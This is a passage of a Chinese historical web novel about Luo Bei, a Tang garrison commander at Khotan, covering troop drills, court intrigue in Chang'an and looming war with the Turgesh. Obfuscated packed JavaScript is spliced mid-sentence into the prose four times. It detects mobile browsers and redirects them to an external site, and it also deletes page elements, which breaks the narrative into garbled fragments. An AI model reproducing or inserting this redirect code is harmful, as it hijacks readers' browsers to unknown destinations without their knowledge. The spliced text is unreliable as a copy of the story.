洛北这才知道,这位器宇轩昂的青年就是于阗国太子尉迟胜,拱手道:“见过太子殿下,我就是洛北。” “洛将军。”尉迟胜半跪在地,换了汉话同他说话,“父王携我等前往城外礼佛,不知将军驾临,未曾来迎,还请将军当面恕罪。” “不妨事。”洛北将他扶起,“我尚有护卫随从驻扎在城外,此次入城,便是要向国王陛下通报此行。” “好,好,好。”尉迟胜连道了几个“好”字,握住他的手道:“父王已经备下美酒宴席,还请将军不要嫌本国邦小地偏,移步前去一叙。” 洛北点了点头,回头吩咐道:“吴先生,你和阿拔思、巴彦一道,先移步去于阗镇守使府衙准备吧。我去去就来。” 他们一道走了。老板娘才回过味来:“这.....吴老板,这位公子是......” “我家公子就是新任安西都护府司马,于阗镇守使洛北将军。”吴钩笑道。 他带着阿拔思和巴彦走了。只留下老板娘站在原地,呆呆地望着,半晌才回过神来,招呼伙计道:“喂!喂!愣着做什么?!遇到贵人了,还不快把他刚刚点的单子抄录一遍,挂在墙上!” 于阗王尉迟伏胜年过六十,白发苍苍,见到洛北,知道他是当年负责与吐蕃谈判的官员时,伏地道礼:“将军当年威慑吐蕃,命他们吐出半个吐谷浑故地,丝路南道才得以从吐蕃侵扰中保全,将军实在是救了我于阗的恩人啊。” 洛北忙道不敢,又好奇道:“于阗国内的收入,商税占的比例很高吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14281713|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “是。”尉迟胜在一边替父亲回答,“回禀将军,我国地处要道,国中收入一半以上要从商人身上来。”他伸手指向华丽王宫的墙壁上镶嵌的众多珠宝:“只是税赋也分种类,像珠宝一类,税就高些,反正那些商人也会从售价上补回来的嘛。” 洛北听他说得有趣,便向他多问了些商税的问题,待到酒过三巡,起身告辞时,已是半夜,他婉拒了于阗王请他留宫安歇的好意,打马回到了于阗镇守使府衙,却见一个上身绑着荆条,浑身是血的男人跪在府衙前。 “这是怎么回事?”他不问此人,反倒问一左一右守在门前的巴彦和阿拔思:“如今春深,晚上天气极冷,为什么叫人跪在门外?” 这两位亲兵随他已久,知道他这样说话已是动了气。当下一言不发,一左一右,把那人提溜进了府衙大堂,才躬身道:“将军,这是玉田镇副使,名叫高仙芝,是个高句丽人。” “高句丽人?”洛北看了看他,见他年纪不比自己大多少,开口问道:“在安西的高句丽人多是受征召到此的武将之后,你的父亲应当也在安西任职吧?抬起头来。” 自太宗、高宗两代平定辽东之后,在辽东重新设立郡县,把高丽子民视作大唐子民,也有不少高丽人从军入伍,在大唐当兵博个出路。高仙芝的年纪不大,想来应当是承蒙父祖的荫庇,才得了这“副使”的职位。 高仙芝闻言抬头,露出一张秀美的青年面容,他说话时声音清润,带着点高丽口音:“卑职的父亲名讳舍鸡,是安西都护府麾下的一名游击将军。” “既然你父亲也在安西都护府任职,就应当知道,大唐军律森严,决不允许士兵私自勒索劫掠。”洛北问,“现在你的麾下出了这样的事情,你打算怎么办?” “卑职情愿以死谢罪。”高仙芝一跪到地,身上的血肉同荆条摩擦,又渗出鲜血来。 洛北敲了敲桌案:“大唐军法中,没有下级劫掠民众,就让上司同罪的条款。我是问你的解决办法,不是让你请罪。”他见高仙芝抬起头,一脸无辜茫然地看着他,说话的语气更重了几分:“要是光靠请罪就能统领军队的话,我还不如去城中的佛寺请座菩萨来坐你的位置!” 高仙芝口道不敢,又一时想不出办法,只得把目光胡乱望着巴彦和阿拔思求救,那两人也不敢回应他,只得眼观鼻,鼻观口。 “这......卑职以为,当出重拳,严格律法。”高仙芝伏地道。 洛北见他浑身冒汗,知道他已被逼到山穷水尽的地步,也只能逼出这么一句话:“好,这还算个办法。明日我的亲兵一到,我便会把他们编到各营之中担任军法官。” 高仙芝哪敢有异议,抬头道:“遵命。” “我还有一个问题,自哥舒镇守使走后,你们几日训练一次?” 高仙芝又不敢抬头了:“五日。” “五日训练一次?”洛北简直是闻所未闻,“怪不得他们有那么多时间在街上欺压百姓。好了,自明日起,改成一日一练,七日一休。” 这与大唐军队的惯例一致,高仙芝只得道:“遵命。” “还有,一月一次营内比武,一季一次军内比武,一年一次全镇比武。”洛北望着暗沉的夜色中远方昆仑山上的皑皑白雪:“我要给他们找些事情做。” 92. 第 92 章 一片无垠的纯蓝天空之上,金雕正在展翅飞翔。下方一片金灿灿的胡杨林旁,千匹骏马疾驰飞奔,马蹄声声溅起浓烟滚滚,不见骑手容貌如何,只见唐军大旗在阵前飞扬。 金雕张开双翼在空中盘旋滑翔,最终落在众人之后的一身白色猎装的俊朗青年肩上。此人正是执掌这只骑兵队的于阗镇守使,洛北。 洛北梳理了一下金雕的毛发,从马鞍的袋中拣出一块肉干喂给它。 金雕随他已有数载,早练就一身狩猎本领,此刻并看不上这只小小肉干,只把头歪到一边,要自家主人多摸他两下。 洛北笑道:“你倒是会挑嘴。” 此刻千骑奔腾,如风云卷地而去。他却催马慢行,跟在后方,一副不紧不慢的模样。 金雕向他撒够了娇,展动两下双翼,飞回空中去了。洛北见它飞到空中,从马上取下一只大弓,弓弦一松,向前放出一只响箭。 马背上的一众骑兵听到响箭破空而来,纷纷催马疾行——洛北行前有令在先,响箭一响,他即刻出发,被他追上的,休息日再加练一天。 自打这位年轻的镇守使洛北将军到任,于阗军的众人便过上了冬练三九,夏练三伏的日子。白日里练行进、队列、摔跤、射术、骑术等诸多技能,晚上还要学文字、兵法、西域情势……七日里才有一日休息。要是这一日还加练,这一日日的还有什么意思?故而响箭一响,众人都催马狂奔起来。 群马行进之中,虽本有次序,也架不住这样忽而一提速,当下队列便有些乱了。巴彦与一众洛北的亲兵本都持旗在前,但于疾驰之中回身望去,后头已经乱了序列。 巴彦轻轻舞动大旗,对一众亲兵喝道:“调整队列!调整队列!”他身形本高,怒吼之下,声如洪钟鸣响。 众亲兵闻言,都知道他担心的是次序一乱,若有人不当心摔下马来,便要受这千军万马的踩踏之苦,纷纷打出旗语,要求本队本列重整队形。 洛北见队列在大旗调配之下,渐渐严整,眼中不由得露出嘉许笑意,但他速度不减,借着一个缓坡的功夫,已将五分之一的骑兵落在身后。 那些骑兵见落在他之后,心知这加练是免不了的了,各个勒马停止,脸上灰心丧气。 其余众人还在疾驰,眼看玉河河道的拐弯处就在跟前,都露出笑意——依照练前规定,此地就是终点。 巴彦一马当先,最先冲到一条宛如银带的玉河边,他骄傲地跳下马来,把大旗往河边一竖,笑笑地向后行的同僚们喊道:“众位!我可又是第一!” 阿拔思第二个到,见他骄傲,不由得哈哈大笑:“巴彦老兄,将军可说了,你第一个到不算,得队中兄弟都到齐才行。我可看到你队里有人掉队了!” 巴彦心里也有些担忧自己疾驰之间落了人在后头,但此刻嘴上却不饶人:“阿拔思,你可别高兴得太早,是谁上次率队和我队比骑射,输了一桌大酒的?” 阿拔思哪肯向他低头:“上次是上次,这次是这次,要是你能率队夺得第一,我请你这顿大酒又何妨!” 他们话语之间,已有大半的骑兵到达终点。洛北也到了,他骑马巡视一圈,清点人数,半晌过后,才指了指一边坐在地上,默不作声的一个汉人道:“这次倒是知运的队伍第一个到齐。” “郭兄可以啊!”巴彦重重地一拍他的肩,“不显山不露水的,倒是屡拔头筹,改日咱们一对一地较量一番,如何?” “就是。”阿拔思也笑道,“郭兄长于箭术,巴彦老兄精于拳脚,你俩比试,还真不知道鹿死谁手。” 郭知运哈哈一笑:“一对一的较量,我肯定不是两位的对手。只是年岁较大家虚长几岁,在军中历练过,知道怎么保持队列稳定罢了。”他一摆手,“我这点道行,说给大家也无妨,就是派骑术好的兄弟压阵在队列最后——有他帮扶落后的,督促不敢前进的,队列自然就都能赶上。” 洛北在一边轻笑:郭知运是他的亲兵之中为数不多的汉人,更是唯一一个出身名门之后的。郭知运的父亲曾任伊州刺史——对这样的人来说,要行进中保持队列稳定不变简直是从小到大的基本功。 他们三越聊越起劲,在一起探讨了带兵之道。洛北听了片刻,便丢下他们,开始登记起此次赏罚: 奖郭知运全队次日放假一日,按时达线者自由活动,被他追上的倒霉鬼……便只能休息日再来加练了。 他虽然操练极严,但处事公正,赏罚分明,加上每每加练,他自己也亲自下场指点。众将士无不对他口服心服。 “洛将军!”远远地有数骑从河岸疏林走了出来,为首者黄袍高冠,正是于阗太子尉迟胜。他身侧一人着一身绯色戎服,高鼻深目,面容英武,却是洛北数年不见的哥舒亶。 尉迟胜策马几步,来到他面前,笑道:“我这表弟奉命护送姑母前来探亲,听说你在这里,便央着我带他来。我只好陪着他来了,怎么,没打扰你练兵吧?” “太子这是哪里的话?”洛北笑道,“哥舒副使还欠我一杯喜酒,今次当着太子殿下的面,他可算不能赖账了。” 哥舒亶知道他说的是和百合小姐的姻缘,他已是成婚了的人,听到此话,还是脸上一红:“罢罢罢,择日不如撞日,今晚就喝,如何?” “好歹等我把队伍带回再说吧。”洛北没有真的要讨他这杯酒的意思,闻言只是摆手:“对了,我还从不知道,你和太子殿下是表亲?” “是殿下抬举我。”哥舒亶解释道,“我的叔叔,前任于阗镇守使哥舒道元将军娶了于阗公主,也就是太子殿下的姑母为妻。所以这样一算,我也是殿下的表亲了。但这于阗城,我可是第一次来。” 尉迟胜道:“既然如此,我可乐得做个东道。今天两位干脆不要回城,我命侍从回去整治酒水菜蔬,请两位——还有洛将军手下的这些骑兵兄弟们宴饮一场如何?” 哥舒亶与他是亲戚,闻言欣然应允。洛北却道:“这样怕是不太合适。” “洛将军,我知道你清廉自持,平日里除了处理事务,演练兵马,绝不离开军营一步。我们送来的金银器玩,你也从来不收,如今只是一顿酒饭,你就不要推辞了吧。”尉迟胜笑道,“实在不行,你就当是我表弟掏的钱,如何?” 他话说到这个份上,洛北也不好再推,免得有冷漠无情之嫌。 尉迟胜见他点头,即命随从回城传命,末了又道:“酒菜整治好还需些时间,趁此机会,不如带着我这表弟走一走这大漠深处的胡杨林,这可是中原难得一见的景象啊。” 洛北点头应允。三人各自将马绑在林木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哥舒亶顺着他指的方向望去,但见一座小庙坐落在胡杨林中,小庙不大,却收拾得甚为干净整洁,门前石子铺路,门后瓜果飘香。 大漠之中,人迹罕至,还有这座小庙存在。哥舒亶心下也起了兴趣,进庙去对庙中神像顶礼膜拜一番:“但愿神明保佑,大唐盛世再临,我哥舒亶可以发挥所长,不要再夹在这些事情之中。” 洛北不信鬼神,故而他路过此庙多次,也没有进去看一看。这次他也只立在庙前的石塔下望着檐牙上的神兽和蓝天:“太子殿下,这庙的形状不像是佛寺,也不像是祆寺啊?” 尉迟胜笑道:“洛将军好眼力啊,这其实是道教的寺庙,供奉的神明么……用你们汉人的话来说,就是此方土地。” “哦?”洛北好奇笑道,“这么说,附近有汉人聚落?”他上前半步,打量那座神像高鼻深目,一双眼睛却是由纯金所点,显得蔚为可敬:“但这神像……倒不像我听过的任何一个道教神明?” 尉迟胜笑容更盛:“不错,此地附近确有汉人聚落。而且供奉的也不是道家诸神,而是一位突厥人。” “突厥人?”哥舒亶从庙中走出,闻言也颇感兴趣,“什么突厥人?室点密大汗还是统叶护可汗?” “都不是。”尉迟胜轻轻摇了摇头:“两位可曾听过,乌特特勤?” 93. 第 93 章 “从前听人说起过。”洛北往哥舒亶那边望了望,哥舒亶似乎也觉察到这道目光,有意低头避开。他自己也想起了当着洛北的面说要去投奔乌特特勤的往事了。 洛北转而轻轻一笑: “听说此人出身兴昔亡可汗家族,曾在突厥大汗默啜手下效力,在西域诸部极有威望,不过他似乎从未到过于阗。若是突厥人怀念他,倒还可以理解。汉人怎么会知道他的名字?” 尉迟胜点了点头:“这就要说到那汉人聚落了。于阗古时与中原有所往来,也多有汉家儿女来我于阗定居,但这聚落并不是古来繁衍而成,而是数年之前,从丝路上迁移而来。” 哥舒亶眼睛一亮:“我知道此事!当年乌特特勤因平定契丹之策受了默啜的奖赏,他却散尽千金,向一干贵胄赎买了那一战虏来的几千名奴隶,放他们自由之身。其中有契丹人、有汉人、也有突厥人,是不是?” “不错,那时则天太后当国,她的娘家侄子武懿宗在河北道以‘附逆’之名大肆屠戮无辜百姓,许多汉人不敢归乡,拖家带口地跟着商队在西域四处游荡。其中就有两三百人在于阗定居。” “这些人大都是些老实巴交的农民,以耕织为业,于阗土地肥沃,又有农商之便,能够收留他们,对他们来说是件大好事。”洛北轻轻叹了口气。 尉迟胜一拍手掌:“洛将军说得对,其实,我于阗能有这些懂种田和养蚕缫丝的好手,也是一件好事。他们定居在此,感激乌特特勤的恩德,便设立生祠将他供奉。后来乌特特勤身没黄沙,此地依旧香火不绝。” 洛北奇道:“这是为何?乌特特勤既然身死,这不就说明他其实也是个没有法力的普通人么?” 他语气轻松随意,倒激得哥舒亶脸色一变:“洛将军,你这话说得可太随意了些……昔年蜀汉百姓为诸葛武侯供奉生祠,今日你们汉人到访蜀中仍要祭拜武侯祠,怎么就许你们汉人祭祀英雄,不许我们突厥人祭祀英雄?” “表弟,你误会了。“尉迟胜见他说得又快又急,知道他这直率血性的表弟有些上头,忙挤开两人,笑道,“我于阗地处交通要道,除了佛法兴盛之外,也有诸教流传。但洛将军到任以来,还从未去过任何一座寺庙参拜,我想,将军当是不信鬼神的,是吗?” 洛北知道他在打圆场,只轻轻点了点头:“哥舒亶,我不是有意轻慢,只是好奇罢了。” 哥舒亶“哼”了一声,算是勉强接受了他的歉意。 “以我之见,其实汉人怀念他和突厥人怀念他的理由别无二致,在大漠和草原无边的暗夜里,他们需要念诵一个名字来抚平自己的伤痛。”尉迟胜道,“只是有人念诵佛祖、有人信奉圣火,还有人信奉乌特特勤罢了……至于洛将军的那个疑惑,我也不能尽解,只是突厥人大多觉得他是受到祆神的召唤,魂归圣火。而汉人多半相信他没有死……只是在不知道什么地方积蓄实力,等到时机成熟便归来与默啜一决生死。” 洛北笑了一声:“我倒是能猜到这区别何在,突厥轻老弱而贵少壮,荣战死而耻病亡,故而希望他在盛年魂归圣火。汉人却以长寿为荣,所以希望他活着。” “也不尽然……”尉迟胜听了他的话,陷入片刻沉吟,“或许洛将军会觉得我这话说得大逆不道,但是,我觉得如今西域纷纷乱乱,各部逐鹿,百姓渴望安定、秩序还有和平,所以他们需要乌特特勤活着。” “需要”二字钻入洛北耳中,让他的脑海也静了片刻,只是当着哥舒亶和尉迟胜的面,他不好表露,只把五味杂陈的想法尽数压下去了。 “哎,不聊这些,你们看,我的侍从来了,想来酒菜已经准备好了。走吧,咱们回去好好地喝上几杯。”尉迟胜远远指了指他的侍从,笑道。 有了他这句话,洛北和哥舒亶也就把刚刚的争论抛在脑后,顺着原路漫步回了众军驻扎处,还没走几步路,一股烤羊肉的香味便从那边飘了过来。 “好香的味道,看来这香料是没少放。”哥舒亶食指大动,抢步坐到桌边,撕了块羊肉大嚼起来。 守在烤羊边的吴钩见他吃得满嘴流油,一副香得不得了的神情,不禁哈哈大笑:“哥舒将军,慢些吃,当心烫着舌头。” 哥舒亶本没有注意他,听他这样说话,忙三口并两口将羊肉咽进肚里:“你不知道,这羊肉就是烤得嫩嫩的好吃……你怎么这么眼熟?啊呀,你是鸣沙县的吴主簿!” “哎,哥舒将军,现在可是要称他为于阗的吴判官了。”洛北笑道。他还未到任,就在郭元振手上讨了这个判官职务给吴钩——穿行商路、置办后勤、押运后勤粮草,都是吴钩的老本行。吴钩也乐得在丝路上穿梭,有时碰到旧日的商人朋友,还要夸耀昔年在鸣沙安定流民,击退突厥的事迹。 “哎呀,还是洛将军运气好,身边有个账务高手辅佐,少了多少麻烦。”哥舒亶羡慕道,“吴判官,他出了多少银两雇你为他做事?我愿出双倍聘你到我家去!” 吴钩讶然道:“哥舒将军说笑了,我可不敢当此厚爱。” 且不说他自己本就向往边关,希望在此建功立业,就是裴伷先知道了此事,也断乎不能放他过去——他的两个儿子还要蒙裴伷先照顾呢! “好啦好啦,哥舒亶,我敬你一杯。”洛北及时起身,笑着打断这番对话,“可放了吴判官去吧!” 众人嬉笑一阵,各自喝酒不谈。趁着众人互相敬酒,下场在篝火边跳起胡旋舞的时候,洛北把吴钩叫到一边:“怎么,突骑施出事了?” 今年八月,突骑施首领乌质勒在一次酒席后撒手人寰,自皇帝李显到安西都护郭元振,再到洛北自己,或派出使节,或亲自到场前去吊唁。 乌质勒死后,怀德郡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14281715|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王爵位和突骑施首领之位都由他的长子娑葛继承。阿史那忠节也按照先前的约定,奏请朝廷,要求入朝宿卫。 朝廷对阿史那忠节还算慷慨,许给他禁军将军的职位,又给了他世袭罔替的县伯爵位。阿史那忠节便带着部族东行——他先要把部族带到北庭首府庭州交给北庭都护阿史那献,自己再带着家人南下去长安。 洛北深知阿史那忠节不是个安分的人,便让吴钩寻个机会与他同行一段路,等阿史那忠节进了北庭境内,再行撤回。 算算时日,吴钩至少也在半月之后才能回到于阗,如今突然回来,一定是什么事情让这位久经考验的吴掌柜都拿不准。 “其实此事,不能以‘出事’二字概括。”吴钩面露犹豫,“我只是觉得很奇怪……阿史那忠节到达播仙镇,与当地的守将周以悌彻夜宴饮,第二日便宣称与周以悌一见如故,要在播仙镇小住几日。但我冷眼旁观,那几日有一支骑队载荷重物从播仙镇出发。我派人使了些银钱贿赂骑队里的侍从,他们说目标正是长安!” 洛北沉思片刻:“阿史那忠节一直在西域,恐怕不会疯狂到想在长安掀起叛乱,这些重物大概会是金银珠宝一类……不过,想来那些人也不敢说是要送给谁的。” 收受外蕃银两是个可大可小的事情,大到与外蕃勾结,意图叛国,小到私下结交,都可以解释。有没有罪,怎么定罪,都要看当时的情况。 如今朝廷内部错综复杂,韦后与安乐公主是一党,她们与武三思所在的武家过从甚密,但内部又隐约有些争斗。相王、太平公主和朝中清流为一派,置身事外。魏元忠等天子的东宫旧部又是一派……这么复杂的态势面前,应当没有人敢轻举妄动。 吴钩道:“这是自然。那些人守口如瓶,要不是过关文牒上要写明目的地,或许他们连去长安都不想让我们知道。” “阿史那忠节究竟想干什么?” 洛北凝眉思索: 他可能是因为对朝廷的爵位和职务不满意,想靠行贿多博些利益,也可能是知道长安局势复杂,想在入长安前找棵乘凉的大树……但不论他做什么,都会对西域局势造成影响。 “不管怎么样,盯紧了他。”想到此处,洛北敛容正色,“明日,你同我一道去见高副使,将这些话再和他说一遍。吐蕃人翻过雪山就到于阗,倘若西域真的有变,我不信吐蕃人不会趁火打劫。我要和高副使商量如何应对。” 吴钩凛然道:“是!” 洛北轻轻地叹了口气,远处歌舞之声还没有停,一众将士还在欢庆之中。 他走了几步,走进金灿灿的胡杨林中,玉河河水和缓如带,他蹲下身来,掬了一把月光洒在河心。 他隐约感觉到,一个横跨西域和长安的阴谋正在形成,这个巨大的漩涡将会把在场所有人都卷入其中……无人可以逃脱。 94. 第 94 章 “叔敖,为着金城公主出降吐蕃的事情,我那里都要忙翻天了!什么画值得你巴巴地邀我来看?” 武三思一身亲王服色,在宗楚客的殷切恭请下跨过朱漆的门槛,进了宗府的大门。 深秋时节里,长安已是一片秋意。宗府里依旧春意盎然,丛丛牡丹正倚着一汪温泉盛放,泉水叮咚,流过太湖石砌的河岸,流进了后院之中。 宗楚客的母亲是则天太后的同族姐妹,他也就因为这点缘分得以入朝为官。他性喜奢侈,武周的时候曾经因为贪污不法被流放岭南,一年多才回到长安。神龙政变之后,他巴上了武三思的关系,才又一路官运亨通,坐上了兵部尚书的位置。 在武三思面前,宗楚客总是分外殷切:“我是个粗人,打圣上改了元,四夷宾服,海内无事,我只能附庸风雅以自娱。这幅画是我求告多月,才收来的一副珍品。我不敢自藏,特别请殿下来欣赏。” 武三思轻轻一勾唇角,语气里带着半分讥讽的意味:“哦?你这兵部尚书想换个位置了?” 正如宗楚客所言,自去年的鸣沙之战击退突厥,冬季突骑施也派遣使节前来朝贡,前不久吐蕃使节也派遣使节来请公主下嫁——大唐边境还从未如此安宁过,朝堂上下歌功颂德,李显龙心大悦,为了彰显自己的功绩,他还在九月改元“神龙”为“景龙”。 “殿下平素料事如神,这次可是想错了!”宗楚客说着亲自开了一间后室的门。 门扉一开,立刻闪出一片掩饰不住的珠光宝气: 武三思略一打量,只见金子亮得像光,银子白得像雪,至于各色彩宝、玉石……更是堆得琳琅满目,数不胜数。 屋内只挂着一副画,画上竟绘着一只昂扬的飞龙! “这是什么意思?”武三思望着宗楚客,似乎在问画,又似乎在问人。 宗楚客收起了那副殷切面孔,道:“我是在为殿下鸣不平啊。殿下日日殷切公事,天下却依旧只知李唐,不知殿下。” 他究竟想干什么! 要不是他一向把宗楚客倚为心腹,武三思就会立刻拂袖而去。武三思冷声道:“宗楚客,你现在是越来越不知进退了。这样的话也是你能说的吗?” “殿下若要杀我,我引颈就戮就是了。只是这一点不平,我今天一定要说。”宗楚客神情不变,“殿下想推安乐公主为皇太女,借着她和武崇训的孩子复武周国号,这样的想法是大错特错。宗法、大义,都是狗屁!古人说得好,天子,兵强马壮者为之。” 这话还用得着宗楚客说?武三思掩饰得很好的那一点不屑还是从眼中露了出来:“要是这些老生常谈的话,咱们今天就不必讲了。这画我赏了,真是举世无双,告辞!” 他一甩袖子,正要出门。宗楚客一把拉住他的衣袖,就势跪倒在地:“殿下,纵然禁军那头,有李多祚李千里看着,咱们下不了手。安西、北庭可还有数万军队呐!” 打进门以来,宗楚客处处小心谨慎,句句风雅,讲到此处,忽而改为白话,才算露出了一点本心。 武三思勃然大怒:“你被金银蒙了心了,这种抄家灭族的大罪也能干?” “我怎么敢出卖国家!”宗楚客忙从袖中掏出一本文牒,“我是接到了经略使、播仙镇镇守使周以悌将军的文书,文书中说:自乌质勒去世之后,娑葛多有不臣的行为,阿史那忠节因与他不合,才愤而入朝。周以悌向朝廷请命,想以忠节兵马为前驱,发吐蕃、拔汗那及安西、北庭兵马,平灭突骑施!” 武三思的神色微微地变了,他拿起文牒,读了一读:“去年年底才和突骑施签了盟约,墨迹未干……娑葛怎么会有不臣的行为呢?” 宗楚客不防他问了这么一手,含混道:“乌质勒老成持重,愿向本朝称臣,娑葛却是桀骜不驯,一直想超过乃父的功绩。” “不对!”武三思打断了他:“分明是郭元振、解琬和洛北在谈判上造了假,以私利安抚住了突骑施。乌质勒死后,娑葛不服,才有此大患。” 宗楚客的眼神一下子亮了:“不错,不错,殿下说得对。那突骑施本是西域小国,仰赖一点兵马才苟活至今。去年我们与他们签订盟约,可是大大地助长了他们的野心!我这就找人把奏疏递上去,奏请圣上召郭元振回朝问话,请周以悌代之!” 武三思见他闻弦歌而知雅意,脸上才露出笑容:“莫忘了还有那个叫洛北的小子。当年他靠着那一点边功,在朝中出了多少风头?等此战功成,西域平定,我要他和娑葛一道槛送长安!” …… “公子爷,公子爷!” 于阗秋日里,寒风萧瑟。洛北正在于阗镇守使的衙署里披衣夜读一本大食故事,吴钩从外间闯进来,带起一阵急躁的风,险些吹灭了烛火。 “什么事情这样着急?”洛北抬头看了他一眼,但见他气喘吁吁,汗如雨下,不禁起身,替他倒了盏冷酒:“出事了?” 吴钩双手接过冷酒,一口气喝了,抱着杯子喘息半天,才缓过一点力气:“军情急报,娑葛调动兵马,要进攻安西!” “娑葛?”洛北陷入一片沉吟,他和娑葛有过接触,自认对他的性子还算了解。娑葛正如其父乌质勒所说,性格骄傲冲动,易受人蛊惑,但还不算愚蠢——如今大唐在西域屯有重兵,他怎么会主动调兵与大唐作战? “原因现在还没有查清楚,我们的人说,据说是从长安来的使者冲进了娑葛的牙帐,而后娑葛就要擂鼓聚将,发兵四镇。”吴钩道,“我私下忖度,恐怕此事与长安之事有关。” 洛北和吴钩对视一眼,都想起了阿史那忠节不同寻常的滞留、送往长安的金银……一条条线索在心中串成一片,洛北猛然一拍桌子,恨声道: “阿史那忠节这个蠢货!他想在西域挑起战事,好为自己谋求私利,偏偏朝中还有一帮比他更蠢的蠢货,收了他的金银,为他做事!” 他一直言辞谨慎,神情平淡,此刻却言辞激烈,双目如火。 吴钩不敢和他对视,只低声道:“公子爷不要动怒……如今这个情况,公子爷打算怎么办?” “一个字,‘打’。” 洛北丢开手中的书本,端着烛台,走到了屋内悬挂的一副巨大的地图之前。这地图除却标记山川关隘之外,还以不同颜色标注了区域,象征大唐的红色绵延成片,象征吐蕃的青色盘踞高原,漠北则是象征突厥的蓝色……处处都很清楚,只有西域各处颜色犬牙交错,杂乱不堪: “虽说朝廷确有不公之处,但娑葛如今已是我大唐臣子,他可以上书抗辩,也可以派遣使节为自己解释。他偏偏兵发安西,想用刀兵之利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哥舒将军,实话说,这没有什么奇怪的。这些人降而复叛,叛而复降是常事。不过是兵来将挡,水来土掩罢了。再说,军情如火,倘若我们慢了一步,丢的可是安西成千上万的百姓性命。” “高副使说的也是我的意思。”洛北请他二人坐到桌边:“哥舒将军,我了解娑葛的为人,其人虽然骄傲,但不至于失了头脑。突骑施之事必有古怪。不过,如今是他先动兵马,难道你我身为大唐的将军,能坐视四镇陷入敌手吗?” 哥舒亶笑道:“洛将军把话说到这份上,我还有什么可说的。你叫我来议事,必有安排,我从命就是。” 洛北见他们没有疑虑,便在地图上画了几个行军方向的箭头:“娑葛兵力众多,却分兵而行,看来是要效仿其父的做法,把大唐的军队逐出西域,他绝不会一城一城地和我们争夺,所以只要我们击退他们的部队,就可以解安西之危。” “于阗地处西域最南,与碎叶等地远隔茫茫大漠。娑葛不足为惧,如今唯一可畏者,反倒是吐蕃——若是我们倾巢而出,提兵北上,倒是给了吐蕃机会。”洛北说完,又望向高仙芝和哥舒亶: “高副使,你带四千兵马,留守于阗,防备吐蕃入侵。” “哥舒将军,我会命郭知运带兵一千驰援疏勒,他是世家子弟,少年从军,但从未指挥过这么多人,还请你从旁协助。” 高仙芝和哥舒亶都低头领命。高仙芝抬头道:“那……还有一千兵马,洛将军打算怎么办?” “还有一千兵马,我亲自率领,目标是——播仙镇!” 95. 第 95 章 洛北军令一下,整个于阗军都紧锣密鼓地忙碌起来,粮草、军器、被服、马匹......斥候进进出出,马蹄声不绝于耳。即使是最不问世事的佛僧,也从这不同寻常的气氛中嗅到了战争的味道。整个于阗军就像洛北手中的一只羽箭,只等待着一声令下,便射向敌人所在的方向。 风尘仆仆的张孝嵩一勒马,险些从马上翻滚下来,好容易才在沙地上稳住自己的身形,他身后的几个随从忙扶了他一把,他堪堪稳住身子,又挥开随从的手,抓住了经过的一队士兵:“你们洛将军在哪里?我要见他。” 秋风萧萧,穿过西山城,也穿过即将迎来枯水期的玉河。张孝嵩等了一会儿,便见到洛北一身明光铠甲,踏着一地碎叶,逆光而来。他忍不住抬起手,遮住了一半的眼睛:“洛将军,好久不见。” “张御史,”洛北轻轻一笑,还像是昔年长安城里的少年模样,“你是带着长安的命令来的吧?此地不是说话之地,走,去我中军大帐。” 张孝嵩没问他为什么不去衙署,而是直接去中军大帐,也没奇怪为什么军营中一片繁忙,处处都是要出征的景象。他往中军帐上的宾位一坐,水都不喝一口,便从身后的背囊里取出一份诏书,递给了洛北: “事态紧急,我不念了,你自己看吧。唉......边事都被朝局给耽误了。” 洛北展开诏书一看,诏书上一笔好褚体,写的命令是: “擢左卫将军,原播仙镇镇守使周以悌为安西经略使,节制四镇,命御史中丞冯嘉宾持节安抚阿史那忠节,以安西副都护牛师奖为帅,侍御史吕守素、张孝嵩为监军,发甘凉及其西兵,征发吐蕃及拔汗那军队,讨伐娑葛。” 洛北不禁在心底冷笑一声——宗楚客这个老狐狸,还想到安西都护郭元振可能不会买他的帐,派个周以悌和牛师奖一道来架空郭都护:“想来此事在朝中已有一番议论了?” “那当然!”张孝嵩恨声道:“宗楚客、武三思在朝中说娑葛有不臣之心,要征发阿史那忠节的军队为前驱,让拔汗那军队和安西军队一起讨伐娑葛。打魏相公那起,朝中的大臣都劝遍了,圣上也就是同意不引吐蕃兵入西域,仗还是要打。” 他猛灌了一口茶水:“我想着,武三思和宗楚客肯定想着派个自己人到你这里来,然后狠狠地掣你的肘。所以才求解大夫出面讨了这个职务来。如今西域局势危险,我们要一道想想办法。” 